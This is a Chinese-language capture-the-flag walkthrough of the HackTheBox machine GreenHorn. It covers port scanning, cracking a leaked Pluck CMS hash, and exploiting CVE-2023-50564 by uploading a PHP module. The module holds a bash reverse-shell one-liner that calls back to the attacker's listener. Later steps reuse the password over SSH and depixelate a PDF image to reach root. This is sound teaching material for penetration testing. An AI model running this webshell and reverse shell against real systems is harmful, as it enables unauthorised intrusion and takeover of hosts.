GreenHorn 靶机笔记
概述
GreenHorn 是 HTB 上的一个 linux easy 难度的靶机,主要是通过信息搜集和代码审计找到对我们有用的信息。其中还包含了对pdf文件的修复技术
靶机地址:https://app.hackthebox.com/machines/GreenHorn
一丶 nmap 扫描
1)端口扫描
-sT 以 TCP 全连接扫描,–min-rate 10000 以最低 10000 速率进行扫描,-p-进行全端口扫描,-o ports 结果输出到 ports 文件中
nmap -sT --min-rate 10000 -p- 10.10.11.25 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-17 03:55 EDT
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 32.56% done; ETC: 03:55 (0:00:27 remaining)
Warning: 10.10.11.25 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.25
Host is up (0.26s latency).
Not shown: 33635 closed tcp ports (conn-refused), 31897 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 147.73 seconds
2)详细信息扫描
以-sT 以 tcp, -sV 探测版本, -sC 以默认脚本 扫描端口 $ports,-O 探测操作系统版本,输出到 details 文件中
nmap -sT -sV -sC -p22,80,3000 10.10.11.25 -o details
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-17 04:04 EDT
Nmap scan report for 10.10.11.25
Host is up (0.43s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57d6928a7244841729eb5cc9636afefd (ECDSA)
|_ 256 40ea17b1b6c53f4256674a3cee75232f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=ee70815cf933490f; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=cxvY7yNHIOWsTQ38C0zH-zadPw46MTcyMzg4MTg4ODM0MTc3MjUyOA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 17 Aug 2024 08:04:48 GMT
| <!DOCTYPE html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.28 seconds
3)默认漏洞脚本扫描
nmap --script=vuln 10.10.11.25 -o vuln
Nmap scan report for 10.10.11.25
Host is up (1.8s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3000/tcp open ppp
8000/tcp open http-alt
详细信息扫描看到 http-title: Did not follow redirect to http://greenhorn.htb/
要去 /etc/hosts
文件绑定域名和 ip
10.10.11.25 greenhorn.htb
写进去就可以访问 web 页面了
二、web 渗透
1)80 端口
访问
http://greenhorn.htb
看到是一个 pluck 的 cms,admin 也是可以点击的。点击进去
需要密码,也给出了 pluck 的版本是 4.7.18
google 搜索大法找到:Pluck 安全漏洞(CVE-2023-50564)
好了,我们现在知道等了进去就可以利用文件上传反弹 shell 了 但我们要怎么登陆呢,没有密码啊
2)3000 端口
我们可以注册,登陆进去看看
发现网站源码,看看有没有什么密码的信息,我们要进入 pluck 的后台才有机会获得立足点
通过审计
在 login.php
看到校验
在 pass.php 中发现 ww
变量
刚才也看到了他是 sha512
hash 算法加密的,我们复制出来用 hashcat 破解
- -a 设定密码破解模式
- -m 设定加密类型
hashcat -a 0 -m 1700 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' /usr/share/wordlists/rockyou.txt
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1
看到密码
iloveyou1
登陆 80 端口的后台服务
三、获得立足点
在 options 里我们选择 mange modules
里的 install a module
我们需要去找一个 php 的 zip 压缩包
准备一句话木马
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.21/4444 0>&1' "); ?>
zip rev.zip rev.php
上传
本地监听端口
sudo rlwrap nc -lvp 4444
看到成功获得立足点
四、提权到 root
我们获得了 www-data
的权限,去机器的家目录下看看有哪些用户
www-data@greenhorn:/home$ ls
git
junior
看到 git
和 junior
用户,现用之前获得的密码 iloveyou1 碰撞一下这两个用户的 ssh
成功拿到 junior
的 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
junior@greenhorn:/var/www/html/pluck$
看到 Using OpenVAS.pdf
文件
开启一个 python 的 http 协议
junior@greenhorn:~$ python3 -m http.server
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
kali 中执行
wget http://greenhorn.htb:8000/'Using OpenVAS.pdf'
下载成功,重命名
mv 'Using OpenVAS.pdf' greenhorn.pdf
打开 pdf,看到密码被打上了马赛克,分析内容,这个密码应该就是提取 root 的关键
sudo apt-get install poppler-utils
pdfimages greenhorn.pdf ./root
用到 depix: https://github.com/spipm/Depix 修复像素
python depix.py -p ../root-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o ../root_pass.png
可以看到密码
sudo ssh root@greenhorn.htb
成功获得root权限
总结
- 通过nmap扫描发现目标开启了22,80,3000端口,在3000端口的版本控制平台注册账户,看到了目标系统的源码,从而拿到了80端口http服务的凭证
- 通过利用
Pluck 安全漏洞(CVE-2023-50564)
成功拿到www-data的shell。 - 利用相同的口令凭证获得了用户
junior
的权限,在家目录下看到了一个pdf文件,进行像素修复,拿到了root权限